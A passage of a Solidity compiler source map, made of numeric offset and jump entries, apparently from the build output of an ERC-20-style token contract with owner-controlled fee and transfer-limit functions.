-1;8936:396:0;;;;;:::i;:::-;;:::i;5167:68::-;;;;;;;;;;-1:-1:-1;5167:68:0;;;;-1:-1:-1;;;;;5167:68:0;;;8002:112;;;;;;;;;;-1:-1:-1;8002:112:0;;;;;:::i;:::-;-1:-1:-1;;;;;8085:21:0;8061:4;8085:21;;;:12;:21;;;;;;;;;8002:112;7771:91;;;;;;;;;;-1:-1:-1;7842:12:0;;7771:91;;16717:224;;;;;;;;;;-1:-1:-1;16717:224:0;;;;;:::i;:::-;;:::i;17231:253::-;;;;;;;;;;-1:-1:-1;17231:253:0;;;;;:::i;:::-;;:::i;9340:143::-;;;;;;;;;;-1:-1:-1;9340:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;9448:18:0;;;9421:7;9448:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9340:143;16507:202;;;;;;;;;;-1:-1:-1;16507:202:0;;;;;:::i;:::-;;:::i;2873:192::-;;;;;;;;;;-1:-1:-1;2873:192:0;;;;;:::i;:::-;;:::i;16130:101::-;;;;;;;;;;-1:-1:-1;16174:7:0;:14;;-1:-1:-1;;16199:24:0;;;;;16949:274;9491:159;9566:4;9583:37;9592:10;9604:7;9613:6;9583:8;:37::i;:::-;-1:-1:-1;9638:4:0;9491:159;;;;;:::o;9658:262::-;-1:-1:-1;;;;;9802:19:0;;9756:4;9802:19;;;:11;:19;;;;;;;;9790:10;9802:31;;;;;;;;9773:70;;9782:6;;9802:40;;9836:6;;9802:40;:::i;:::-;9773:8;:70::i;:::-;9854:36;9864:6;9872:9;9883:6;9854:9;:36::i;:::-;-1:-1:-1;9908:4:0;9658:262;;;;;:::o;16949:274::-;2594:7;2621:6;-1:-1:-1;;;;;2621:6:0;951:10;2683:23;2675:68;;;;-1:-1:-1;;;2675:68:0;;;;;;;:::i;:::-;;;;;;;;;17090:13:::1;4835:1;17090:2;:13;:::i;:::-;17078:25;::::0;:9;:25:::1;:::i;:::-;17065:10;:38:::0;17145:13:::1;4835:1;17145:2;:13;:::i;:::-;17130:28;::::0;:12;:28:::1;:::i;:::-;17114:13;:44:::0;17202:13:::1;4835:1;17202:2;:13;:::i;:::-;17186:29;::::0;:13;:29:::1;:::i;:::-;17169:14;:46:::0;-1:-1:-1;;;16949:274:0:o;10339:501::-;10406:1;10397:6;:10;10389:55;;;;-1:-1:-1;;;10389:55:0;;9093:2:1;10389:55:0;;;9075:21:1;;;9112:18;;;9105:30;9171:34;9151:18;;;9144:62;9223:18;;10389:55:0;8891:356:1;10389:55:0;10483:10;10473:21;;;;:9;:21;;;;;;10463:31;;;10455:64;;;;-1:-1:-1;;;10455:64:0;;9454:2:1;10455:64:0;;;9436:21:1;9493:2;9473:18;;;9466:30;-1:-1:-1;;;9512:18:1;;;9505:50;9572:18;;10455:64:0;9252:344:1;10455:64:0;10532:13;10557:15;4835:1;10557:2;:15;:::i;:::-;10548:24;;:6;:24;:::i;:::-;10617:10;10607:21;;;;:9;:21;;;;;;10532:40;;-1:-1:-1;10607:32:0;;10532:40;10607:25;:32::i;:::-;10593:10;10583:21;;;;:9;:21;;;;;:56;10665:12;;:23;;10682:5;10665:16;:23::i;:::-;10650:12;:38;10714:12;;:23;;10731:5;10714:16;:23::i;:::-;10699:12;:38;10755:23;;1734:25:1;;;10760:10:0;;10755:23;;1722:2:1;1707:18;10755:23:0;;;;;;;10794:37;;1734:25:1;;;10822:1:0;;10803:10;;-1:-1:-1;;;;;;;;;;;10794:37:0;1722:2:1;1707:18;10794:37:0;;;;;;;10378:462;10339:501;:::o;15690:216::-;2594:7;2621:6;-1:-1:-1;;;;;2621:6:0;951:10;2683:23;2675:68;;;;-1:-1:-1;;;2675:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;15774:24:0;::::1;15766:52;;;::::0;-1:-1:-1;;;15766:52:0;;9803:2:1;15766:52:0::1;::::0;::::1;9785:21:1::0;9842:2;9822:18;;;9815:30;-1:-1:-1;;;9861:18:1;;;9854:45;9916:18;;15766:52:0::1;9601:339:1::0;15766:52:0::1;15829:8;:21:::0;;-1:-1:-1;;;;;15829:21:0;;::::1;-1:-1:-1::0;;;;;;15829:21:0;;::::1;::::0;::::1;::::0;;:8:::1;15861:30:::0;;;:18:::1;:30;::::0;;;;:37;;-1:-1:-1;;15861:37:0::1;15829:21:::0;15861:37:::1;::::0;;15690:216::o;16379:120::-;2594:7;2621:6;-1:-1:-1;;;;;2621:6:0;951:10;2683:23;2675:68;;;;-1:-1:-1;;;2675:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16461:21:0;;;::::1;;::::0;;;:12:::1;:21;::::0;;;;:30;;-1:-1:-1;;16461:30:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16379:120::o;16239:132::-;2594:7;2621:6;-1:-1:-1;;;;;2621:6:0;951:10;2683:23;2675:68;;;;-1:-1:-1;;;2675:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16327:27:0;;;::::1;;::::0;;;:18:::1;:27;::::0;;;;:36;;-1:-1:-1;;16327:36:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16239:132::o;15914:209::-;2594:7;2621:6;-1:-1:-1;;;;;2621:6:0;951:10;2683:23;2675:68;;;;-1:-1:-1;;;2675:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;15994:24:0;::::1;15986:52;;;::::0;-1:-1:-1;;;15986:52:0;;9803:2:1;15986:52:0::1;::::0;::::1;9785:21:1::0;9842:2;9822:18;;;9815:30;-1:-1:-1;;;9861:18:1;;;9854:45;9916:18;;15986:52:0::1;9601:339:1::0;15986:52:0::1;16049:5;:18:::0;;-1:-1:-1;;;;;16049:18:0;;::::1;-1:-1:-1::0;;;;;;16049:18:0;;::::1;::::0;::::1;::::0;;:5:::1;16078:30:::0;;;:18:::1;:30;::::0;;;;:37;;-1:-1:-1;;16078:37:0::1;16049:18:::0;16078:37:::1;::::0;;15914:209::o;2771:94::-;2594:7;2621:6;-1:-1:-1;;;;;2621:6:0;951:10;2683:23;2675:68;;;;-1:-1:-1;;;2675:68:0;;;;;;;:::i;:::-;2836:21:::1;2854:1;2836:9;:21::i;:::-;2771:94::o:0;17494:269::-;2594:7;2621:6;-1:-1:-1;;;;;2621:6:0;951:10;2683:23;2675:68;;;;-1:-1:-1;;;2675:68:0;;;;;;;:::i;:::-;17597:26:::1;:44:::0;;;17652:16:::1;:30:::0;;;17710:45:::1;17671:11:::0;17626:15;17710:45:::1;:::i;:::-;17693:14;:62:::0;-1:-1:-1;;17494:269:0:o;8936:396::-;9049:13;;9014:4;;-1:-1:-1;;;;;9036:26:0;;;9049:13;;9036:26;;;;:50;;-1:-1:-1;2594:7:0;2621:6;-1:-1:-1;;;;;9066:20:0;;;2621:6;;9066:20;;9036:50;:84;;;;-1:-1:-1;;;;;;9091:29:0;;;;;;:18;:29;;;;;;;;9090:30;9036:84;9033:207;;;9164:10;;-1:-1:-1;;;;;9131:20:0;;;;;;:9;:20;;;;;;:29;;9154:6;;9131:29;:::i;:::-;:43;;9123:115;;;;-1:-1:-1;;;9123:115:0;;10277:2:1;9123:115:0;;;10259:21:1;10316:2;10296:18;;;10289:30;10355:34;10335:18;;;10328:62;10426:29;10406:18;;;10399:57;10473:19;;9123:115:0;10075:423:1;9123:115:0;9252:40;9262:10;9274:9;9285:6;9252:9;:40::i;16717:224::-;2594:7;2621:6;-1:-1:-1;;;;;2621:6:0;951:10;2683:23;2675:68;;;;-1:-1:-1;;;2675:68:0;;;;;;;:::i;:::-;16834:3:::1;16813:13;7616:12:::0;;;7536:100;16813:13:::1;:17;::::0;16829:1:::1;16813:17;:::i;:::-;16812:25;;;;:::i;:::-;16797:11;:40;;16789:94;;;::::0;-1:-1:-1;;;16789:94:0;;10927:2:1;16789:94:0::1;::::0;::::1;10909:21:1::0;10966:2;10946:18;;;10939:30;11005:34;10985:18;;;10978:62;-1:-1:-1;;;11056:18:1;;;11049:39;11105:19;;16789:94:0::1;10725:405:1::0;16789:94:0::1;16920:13;4835:1;16920:2;:13;:::i;:::-;16906:27;::::0;:11;:27:::1;:::i;:::-;16894:9;:39:::0;-1:-1:-1;16717:224:0:o;17231:253::-;2594:7;2621:6;-1:-1:-1;;;;;2621:6:0;951:10;2683:23;2675:68;;;;-1:-1:-1;;;2675:68:0;;;;;;;:::i;:::-;17333:22:::1;:40:::0;;;17384:12:::1;:26:::0;;;17437:37:::1;17399:11:::0;17358:15;17437:37:::1;:::i;:::-;17421:13;:53:::0;-1:-1:-1;;17231:253:0:o;16507:202::-;2594:7;2621:6;-1:-1:-1;;;;;2621:6:0;951:10;2683:23;2675:68;;;;-1:-1:-1;;;2675:68:0;;;;;;;:::i;:::-;16602:9:::1;16598:104;16621:8;:15;16617:1;:19;16598:104;;;16685:5;16657:12;:25;16670:8;16679:1;16670:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;16657:25:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;16657:25:0;:33;;-1:-1:-1;;16657:33:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16638:3;::::1;::::0;::::1;:::i;:::-;;;;16598:104;;;;16507:202:::0;;:::o;2873:192::-;2594:7;2621:6;-1:-1:-1;;;;;2621:6:0;951:10;2683:23;2675:68;;;;-1:-1:-1;;;2675:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2962:22:0;::::1;2954:73;;;::::0;-1:-1:-1;;;2954:73:0;;11609:2:1;2954:73:0::1;::::0;::::1;11591:21:1::0;11648:2;11628:18;;;11621:30;11687:34;11667:18;;;11660:62;-1:-1:-1;;;11738:18:1;;;11731:36;11784:19;;2954:73:0::1;11407:402:1::0;2954:73:0::1;3038:19;3048:8;3038:9;:19::i;:::-;2873:192:::0;:::o;1691:246::-;1749:7;1773:1;1778;1773:6;1769:47;;-1:-1:-1;1803:1:0;1796:8;;1769:47;1826:9;1838:5;1842:1;1838;:5;:::i;:::-;1826:17;-1:-1:-1;1871:1:0;1862:5;1866:1;1826:17;1862:5;:::i;:::-;:10;1854:56;;;;-1:-1:-1;;;1854:56:0;;12016:2:1;1854:56:0;;;11998:21:1;12055:2;12035:18;;;12028:30;12094:34;12074:18;;;12067:62;-1:-1:-1;;;12145:18:1;;;12138:31;12186:19;;1854:56:0;11814:397:1;1854:56:0;1928:1;1691:246;-1:-1:-1;;;1691:246:0:o;1946:132::-;2004:7;2031:39;2035:1;2038;2031:39;;;;;;;;;;;;;;;;;:3;:39::i;9928:341::-;-1:-1:-1;;;;;10021:19:0;;10013:70;;;;-1:-1:-1;;;10013:70:0;;12418:2:1;10013:70:0;;;12400:21:1;12457:2;12437:18;;;12430:30;12496:34;12476:18;;;12469:62;-1:-1:-1;;;12547:18:1;;;12540:36;12593:19;;10013:70:0;12216:402:1;10013:70:0;-1:-1:-1;;;;;10102:21:0;;10094:70;;;;-1:-1:-1;;;10094:70:0;;12825:2:1;10094:70:0;;;12807:21:1;12864:2;12844:18;;;12837:30;12903:34;12883:18;;;12876:62;-1:-1:-1;;;12954:18:1;;;12947:34;12998:19;;10094:70:0;12623:400:1;10094:70:0;-1:-1:-1;;;;;10177:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10229:32;;1734:25:1;;;10229:32:0;;1707:18:1;10229:32:0;;;;;;;9928:341;;;:::o;10848:3260::-;-1:-1:-1;;;;;10947:20:0;;10939:72;;;;-1:-1:-1;;;10939:72:0;;13230:2:1;10939:72:0;;;13212:21:1;13269:2;13249:18;;;13242:30;13308:34;13288:18;;;13281:62;-1:-1:-1;;;13359:18:1;;;13352:37;13406:19;;10939:72:0;13028:403:1;10939:72:0;-1:-1:-1;;;;;11030:23:0;;11022:73;;;;-1:-1:-1;;;11022:73:0;;13638:2:1;11022:73:0;;;13620:21:1;13677:2;13657:18;;;13650:30;13716:34;13696:18;;;13689:62;-1:-1:-1;;;13767:18:1;;;13760:35;13812:19;;11022:73:0;13436:401:1;11022:73:0;11123:1;11114:6;:10;11106:73;;;;-1:-1:-1;;;11106:73:0;;14044:2:1;11106:73:0;;;14026:21:1;14083:2;14063:18;;;14056:30;14122:34;14102:18;;;14095:62;-1:-1:-1;;;14173:18:1;;;14166:48;14231:19;;11106:73:0;13842:414:1;11106:73:0;11208:13;;-1:-1:-1;;;;;11195:26:0;;;11208:13;;11195:26;;;;:50;;-1:-1:-1;2594:7:0;2621:6;-1:-1:-1;;;;;11225:20:0;;;2621:6;;11225:20;;11195:50;:84;;;;-1:-1:-1;;;;;;11250:29:0;;;;;;:18;:29;;;;;;;;11249:30;11195:84;11192:197;;;11322:10;;-1:-1:-1;;;;;11289:20:0;;;;;;:9;:20;;;;;;:29;;11312:6;;11289:29;:::i;:::-;:43;;11281:106;;;;-1:-1:-1;;;11281:106:0;;14463:2:1;11281:106:0;;;14445:21:1;14502:2;14482:18;;;14475:30;14541:34;14521:18;;;14514:62;-1:-1:-1;;;14592:18:1;;;14585:48;14650:19;;11281:106:0;14261:414:1;11281:106:0;11403:7;;;;;;;11399:155;;-1:-1:-1;;;;;11420:26:0;;;;;;:18;:26;;;;;;;;;:59;;-1:-1:-1;;;;;;11450:29:0;;;;;;:18;:29;;;;;;;;11420:59;:83;;;-1:-1:-1;;;;;;11483:20:0;;;;;;:12;:20;;;;;;;;11420:83;:110;;;-1:-1:-1;;;;;;11507:23:0;;;;;;:12;:23;;;;;;;;11420:110;11412:140;;;;-1:-1:-1;;;11412:140:0;;14882:2:1;11412:140:0;;;14864:21:1;14921:2;14901:18;;;14894:30;-1:-1:-1;;;14940:18:1;;;14933:47;14997:18;;11412:140:0;14680:341:1;11412:140:0;11568:7;;;;;;;11567:8;:38;;;;-1:-1:-1;11592:13:0;;-1:-1:-1;;;;;11579:26:0;;;11592:13;;11579:26;;11567:38;:65;;;;-1:-1:-1;11619:13:0;;-1:-1:-1;;;;;11609:23:0;;;11619:13;;11609:23;;11567:65;11564:135;;;11643:17;;;;;;;11635:62;;;;-1:-1:-1;;;11635:62:0;;15228:2:1;11635:62:0;;;15210:21:1;;;15247:18;;;15240:30;15306:34;15286:18;;;15279:62;15358:18;;11635:62:0;15026:356:1;11635:62:0;11798:13;;11746:4;;-1:-1:-1;;;;;11785:26:0;;;11798:13;;11785:26;:57;;;;-1:-1:-1;;;;;;11816:26:0;;;;;;:18;:26;;;;;;;;11815:27;11785:57;:78;;;;-1:-1:-1;2594:7:0;2621:6;-1:-1:-1;;;;;11846:17:0;;;2621:6;;11846:17;;11785:78;11782:365;;;11903:14;;11893:6;:24;;11885:66;;;;-1:-1:-1;;;11885:66:0;;15589:2:1;11885:66:0;;;15571:21:1;15628:2;15608:18;;;15601:30;15667:31;15647:18;;;15640:59;15716:18;;11885:66:0;15387:353:1;11885:66:0;11972:10;:17;;-1:-1:-1;;11972:17:0;;;;;;;;12028:9;:50;;;;-1:-1:-1;12069:9:0;;12059:4;7710:7;7737:18;;;:9;:18;;;;;;12041:37;;12028:50;12025:109;;;12104:10;:8;:10::i;:::-;12187:13;;-1:-1:-1;;;;;12177:23:0;;;12187:13;;12177:23;:57;;;;-1:-1:-1;;;;;;12205:29:0;;;;;;:18;:29;;;;;;;;12204:30;12177:57;:81;;;;-1:-1:-1;2594:7:0;2621:6;-1:-1:-1;;;;;12238:20:0;;;2621:6;;12238:20;;12177:81;12174:212;;;12314:13;;12304:6;:23;;12296:64;;;;-1:-1:-1;;;12296:64:0;;15947:2:1;12296:64:0;;;15929:21:1;15986:2;15966:18;;;15959:30;16025;16005:18;;;15998:58;16073:18;;12296:64:0;15745:352:1;12296:64:0;-1:-1:-1;;;;;12402:26:0;;;;;;:18;:26;;;;;;;;;:59;;-1:-1:-1;;;;;;12432:29:0;;;;;;:18;:29;;;;;;;;12402:59;12398:88;;;-1:-1:-1;12478:5:0;12398:88;12513:13;;-1:-1:-1;;;;;12500:26:0;;;12513:13;;12500:26;;;;:53;;-1:-1:-1;12540:13:0;;-1:-1:-1;;;;;12530:23:0;;;12540:13;;12530:23;;12500:53;12496:82;;;-1:-1:-1;12570:5:0;12496:82;12594:10;12590:1511;;;12631:10;;;;;;;12627:1226;;12667:22;12717:3;12701:13;;12692:6;:22;;;;:::i;:::-;:28;;;;:::i;:::-;12667:53;-1:-1:-1;12743:22:0;12768:23;12667:53;12768:6;:23;:::i;:::-;12880:4;12862:24;;;;:9;:24;;;;;;12743:48;;-1:-1:-1;12862:44:0;;12891:14;12862:28;:44::i;:::-;12853:4;12835:24;;;;:9;:24;;;;;;:71;;;;-1:-1:-1;;;;;12949:17:0;;;;;;:29;;12971:6;12949:21;:29::i;:::-;-1:-1:-1;;;;;12929:17:0;;;;;;;:9;:17;;;;;;:49;;;;13024:20;;;;;;;:40;;13049:14;13024:24;:40::i;:::-;-1:-1:-1;;;;;13001:20:0;;;;;;;:9;:20;;;;;;;:63;;;;13094:43;;;;;;-1:-1:-1;;;;;;;;;;;13094:43:0;;;13122:14;1734:25:1;;1722:2;1707:18;;1588:177;13094:43:0;;;;;;;;13165:47;;1734:25:1;;;13190:4:0;;-1:-1:-1;;;;;13165:47:0;;;-1:-1:-1;;;;;;;;;;;13165:47:0;1722:2:1;1707:18;13165:47:0;;;;;;;12642:592;;12590:1511;;12627:1226;13263:22;13314:3;13297:14;;13288:6;:23;;;;:::i;:::-;:29;;;;:::i;:::-;13263:54;-1:-1:-1;13340:22:0;13365:23;13263:54;13365:6;:23;:::i;:::-;13458:4;13440:24;;;;:9;:24;;;;;;13340:48;;-1:-1:-1;13440:44:0;;13469:14;13440:28;:44::i;:::-;13431:4;13413:24;;;;:9;:24;;;;;;:71;;;;-1:-1:-1;;;;;13527:17:0;;;;;;:29;;13549:6;13527:21;:29::i;:::-;-1:-1:-1;;;;;13507:17:0;;;;;;;:9;:17;;;;;;:49;;;;13602:20;;;;;;;:40;;13627:14;13602:24;:40::i;:::-;-1:-1:-1;;;;;13579:20:0;;;;;;;:9;:20;;;;;;;:63;;;;13672:43;;;;;;-1:-1:-1;;;;;;;;;;;13672:43:0;;;13700:14;1734:25:1;;1722:2;1707:18;;1588:177;13672:43:0;;;;;;;;13743:47;;1734:25:1;;;13768:4:0;;-1:-1:-1;;;;;13743:47:0;;;-1:-1:-1;;;;;;;;;;;13743:47:0;1722:2:1;1707:18;13743:47:0;;;;;;;-1:-1:-1;;13815:10:0;:18;;-1:-1:-1;;13815:18:0;;;12590:1511;;;-1:-1:-1;;;;;13923:17:0;;;;;;:9;:17;;;;;;:29;;13945:6;13923:21;:29::i;:::-;-1:-1:-1;;;;;13903:17:0;;;;;;;:9;:17;;;;;;:49;;;;13994:20;;;;;;;:32;;14019:6;13994:24;:32::i;:::-;-1:-1:-1;;;;;13971:20:0;;;;;;;:9;:20;;;;;;;:55;;;;14052:35;;;;;;-1:-1:-1;;;;;;;;;;;14052:35:0;;;14080:6;1734:25:1;;1722:2;1707:18;;1588:177;14052:35:0;;;;;;;;12590:1511;10926:3182;10848:3260;;;:::o;1313:136::-;1371:7;1398:43;1402:1;1405;1398:43;;;;;;;;;;;;;;;;;:3;:43::i;1125:179::-;1183:7;;1215:5;1219:1;1215;:5;:::i;:::-;1203:17;;1244:1;1239;:6;;1231:46;;;;-1:-1:-1;;;1231:46:0;;16304:2:1;1231:46:0;;;16286:21:1;16343:2;16323:18;;;16316:30;16382:29;16362:18;;;16355:57;16429:18;;1231:46:0;16102:351:1;3073:173:0;3129:16;3148:6;;-1:-1:-1;;;;;3165:17:0;;;-1:-1:-1;;;;;;3165:17:0;;;;;;3198:40;;3148:6;;;;;;;3198:40;;3129:16;3198:40;3118:128;3073:173;:::o;2087:223::-;2207:7;2242:12;2235:5;2227:28;;;;-1:-1:-1;;;2227:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2266:9:0;2278:5;2282:1;2278;:5;:::i;:::-;2266:17;2087:223;-1:-1:-1;;;;;2087:223:0:o;14792:891::-;14895:4;14857:17;7737:18;;;:9;:18;;;;;;;14961:24;7737:18;14961:16;:24::i;:::-;15155:26;;15130:22;;15028:21;;15002:23;;15186:3;;15130:51;;;:::i;:::-;15111:71;;:15;:71;:::i;:::-;15110:79;;;;:::i;:::-;15086:103;;15204:18;15281:3;15260:16;;15245:12;;:31;;;;:::i;:::-;15226:51;;:15;:51;:::i;:::-;15225:59;;;;:::i;:::-;15204:80;-1:-1:-1;15299:17:0;15204:80;15319:31;15337:13;15319:15;:31;:::i;:::-;:44;;;;:::i;:::-;15299:64;-1:-1:-1;15378:16:0;15397;15299:64;15411:1;15397:13;:16::i;:::-;15378:35;-1:-1:-1;15434:17:0;;15430:67;;15462:8;;15454:41;;-1:-1:-1;;;;;15462:8:0;;;;15454:41;;;;;15481:13;;15462:8;15454:41;15462:8;15454:41;15481:13;15462:8;15454:41;;;;;;;;;;;;;;;;;;;;;15430:67;15515:12;;15511:93;;15538:8;;15530:36;;-1:-1:-1;;;;;15538:8:0;;;;15530:36;;;;;15557:8;;15538;15530:36;15538:8;15530:36;15557:8;15538;15530:36;;;;;;;;;;;;;;;;;;;;-1:-1:-1;15576:5:0;;15568:33;;-1:-1:-1;;;;;15576:5:0;;;;15568:33;;;;;15592:8;;15576:5;15568:33;15576:5;15568:33;15592:8;15576:5;15568:33;;;;;;;;;;;;;;;;;;;;;15511:93;15622:14;;15618:58;;15647:5;;15639:35;;-1:-1:-1;;;;;15647:5:0;;;;15639:35;;;;;15663:10;;15647:5;15639:35;15647:5;15639:35;15663:10;15647:5;15639:35;;;;;;;;;;;;;;;;;;;;;15618:58;14820:863;;;;;;;14792:891::o;1458:224::-;1578:7;1614:12;1606:6;;;;1598:29;;;;-1:-1:-1;;;1598:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1638:9:0;1650:5;1654:1;1650;:5;:::i;14118:666::-;14278:16;;;14292:1;14278:16;;;;;;;;14254:21;;14278:16;;;;;;;;;;-1:-1:-1;14278:16:0;14254:40;;14323:4;14305;14310:1;14305:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;14305:23:0;;;:7;;;;;;;;;;:23;;;;14349:15;;:22;;;-1:-1:-1;;;14349:22:0;;;;:15;;;;;:20;;:22;;;;;14305:7;;14349:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14339:4;14344:1;14339:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;14339:32:0;;;:7;;;;;;;;;:32;14483:15;;14451:62;;14468:4;;14483:15;14501:11;14451:8;:62::i;:::-;14552:15;;:224;;-1:-1:-1;;;14552:224:0;;-1:-1:-1;;;;;14552:15:0;;;;:66;;:224;;14633:11;;14552:15;;14703:4;;14730;;14750:15;;14552:224;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14173:611;14118:666;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:134;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1770:456::-;1847:6;1855;1863;1916:2;1904:9;1895:7;1891:23;1887:32;1884:52;;;1932:1;1929;1922:12;1884:52;1971:9;1958:23;1990:31;2015:5;1990:31;:::i;:::-;2040:5;-1:-1:-1;2097:2:1;2082:18;;2069:32;2110:33;2069:32;2110:33;:::i;:::-;1770:456;;2162:7;;-1:-1:-1;;;2216:2:1;2201:18;;;;2188:32;;1770:456::o;2816:316::-;2893:6;2901;2909;2962:2;2950:9;2941:7;2937:23;2933:32;2930:52;;;2978:1;2975;2968:12;2930:52;-1:-1:-1;;3001:23:1;;;3071:2;3056:18;;3043:32;;-1:-1:-1;3122:2:1;3107:18;;;3094:32;;2816:316;-1:-1:-1;2816:316:1:o;3345:180::-;3404:6;3457:2;3445:9;3436:7;3432:23;3428:32;3425:52;;;3473:1;3470;3463:12;3425:52;-1:-1:-1;3496:23:1;;3345:180;-1:-1:-1;3345:180:1:o;3530:247::-;3589:6;3642:2;3630:9;3621:7;3617:23;3613:32;3610:52;;;3658:1;3655;3648:12;3610:52;3697:9;3684:23;3716:31;3741:5;3716:31;:::i;3782:160::-;3847:20;;3903:13;;3896:21;3886:32;;3876:60;;3932:1;3929;3922:12;3947:315;4012:6;4020;4073:2;4061:9;4052:7;4048:23;4044:32;4041:52;;;4089:1;4086;4079:12;4041:52;4128:9;4115:23;4147:31;4172:5;4147:31;:::i;:::-;4197:5;-1:-1:-1;4221:35:1;4252:2;4237:18;;4221:35;:::i;:::-;4211:45;;3947:315;;;;;:::o;4267:248::-;4335:6;4343;4396:2;4384:9;4375:7;4371:23;4367:32;4364:52;;;4412:1;4409;4402:12;4364:52;-1:-1:-1;;4435:23:1;;;4505:2;4490:18;;;4477:32;;-1:-1:-1;4267:248:1:o;4988:388::-;5056:6;5064;5117:2;5105:9;5096:7;5092:23;5088:32;5085:52;;;5133:1;5130;5123:12;5085:52;5172:9;5159:23;5191:31;5216:5;5191:31;:::i;:::-;5241:5;-1:-1:-1;5298:2:1;5283:18;;5270:32;5311:33;5270:32;5311:33;:::i;:::-;5363:7;5353:17;;;4988:388;;;;;:::o;5381:127::-;5442:10;5437:3;5433:20;5430:1;5423:31;5473:4;5470:1;5463:15;5497:4;5494:1;5487:15;5513:1191;5603:6;5611;5664:2;5652:9;5643:7;5639:23;5635:32;5632:52;;;5680:1;5677;5670:12;5632:52;5720:9;5707:23;5749:18;5790:2;5782:6;5779:14;5776:34;;;5806:1;5803;5796:12;5776:34;5844:6;5833:9;5829:22;5819:32;;5889:7;5882:4;5878:2;5874:13;5870:27;5860:55;;5911:1;5908;5901:12;5860:55;5947:2;5934:16;5969:4;5992:2;5988;5985:10;5982:36;;;5998:18;;:::i;:::-;6044:2;6041:1;6037:10;6076:2;6070:9;6139:2;6135:7;6130:2;6126;6122:11;6118:25;6110:6;6106:38;6194:6;6182:10;6179:22;6174:2;6162:10;6159:18;6156:46;6153:72;;;6205:18;;:::i;:::-;6241:2;6234:22;6291:18;;;6325:15;;;;-1:-1:-1;6367:11:1;;;6363:20;;;6395:19;;;6392:39;;;6427:1;6424;6417:12;6392:39;6451:11;;;;6471:148;6487:6;6482:3;6479:15;6471:148;;;6553:23;6572:3;6553:23;:::i;:::-;6541:36;;6504:12;;;;6597;;;;6471:148;;;6638:6;-1:-1:-1;6663:35:1;;-1:-1:-1;6679:18:1;;;6663:35;:::i;:::-;6653:45;;;;;;5513:1191;;;;;:::o;6709:127::-;6770:10;6765:3;6761:20;6758:1;6751:31;6801:4;6798:1;6791:15;6825:4;6822:1;6815:15;6841:128;6908:9;;;6929:11;;;6926:37;;;6943:18;;:::i;6974:356::-;7176:2;7158:21;;;7195:18;;;7188:30;7254:34;7249:2;7234:18;;7227:62;7321:2;7306:18;;6974:356::o;7335:422::-;7424:1;7467:5;7424:1;7481:270;7502:7;7492:8;7489:21;7481:270;;;7561:4;7557:1;7553:6;7549:17;7543:4;7540:27;7537:53;;;7570:18;;:::i;:::-;7620:7;7610:8;7606:22;7603:55;;;7640:16;;;;7603:55;7719:22;;;;7679:15;;;;7481:270;;;7485:3;7335:422;;;;;:::o;7762:806::-;7811:5;7841:8;7831:80;;-1:-1:-1;7882:1:1;7896:5;;7831:80;7930:4;7920:76;;-1:-1:-1;7967:1:1;7981:5;;7920:76;8012:4;8030:1;8025:59;;;;8098:1;8093:130;;;;8005:218;;8025:59;8055:1;8046:10;;8069:5;;;8093:130;8130:3;8120:8;8117:17;8114:43;;;8137:18;;:::i;:::-;-1:-1:-1;;8193:1:1;8179:16;;8208:5;;8005:218;;8307:2;8297:8;8294:16;8288:3;8282:4;8279:13;8275:36;8269:2;8259:8;8256:16;8251:2;8245:4;8242:12;8238:35;8235:77;8232:159;;;-1:-1:-1;8344:19:1;;;8376:5;;8232:159;8423:34;8448:8;8442:4;8423:34;:::i;:::-;8493:6;8489:1;8485:6;8481:19;8472:7;8469:32;8466:58;;;8504:18;;:::i;:::-;8542:20;;7762:806;-1:-1:-1;;;7762:806:1:o;8573:140::-;8631:5;8660:47;8701:4;8691:8;8687:19;8681:4;8660:47;:::i;8718:168::-;8791:9;;;8822;;8839:15;;;8833:22;;8819:37;8809:71;;8860:18;;:::i;9945:125::-;10010:9;;;10031:10;;;10028:36;;;10044:18;;:::i;10503:217::-;10543:1;10569;10559:132;;10613:10;10608:3;10604:20;10601:1;10594:31;10648:4;10645:1;10638:15;10676:4;10673:1;10666:15;10559:132;-1:-1:-1;10705:9:1;;10503:217::o;11135:127::-;11196:10;11191:3;11187:20;11184:1;11177:31;11227:4;11224:1;11217:15;11251:4;11248:1;11241:15;11267:135;11306:3;11327:17;;;11324:43;;11347:18;;:::i;:::-;-1:-1:-1;11394:1:1;11383:13;;11267:135::o;16458:251::-;16528:6;16581:2;16569:9;16560:7;16556:23;16552:32;16549:52;;;16597:1;16594;16587:12;16549:52;16629:9;16623:16;16648:31;16673:5;16648:31;:::i;16714:980::-;16976:4;17024:3;17013:9;17009:19;17055:6;17044:9;17037:25;17081:2;17119:6;17114:2;17103:9;17099:18;17092:34;17162:3;17157:2;17146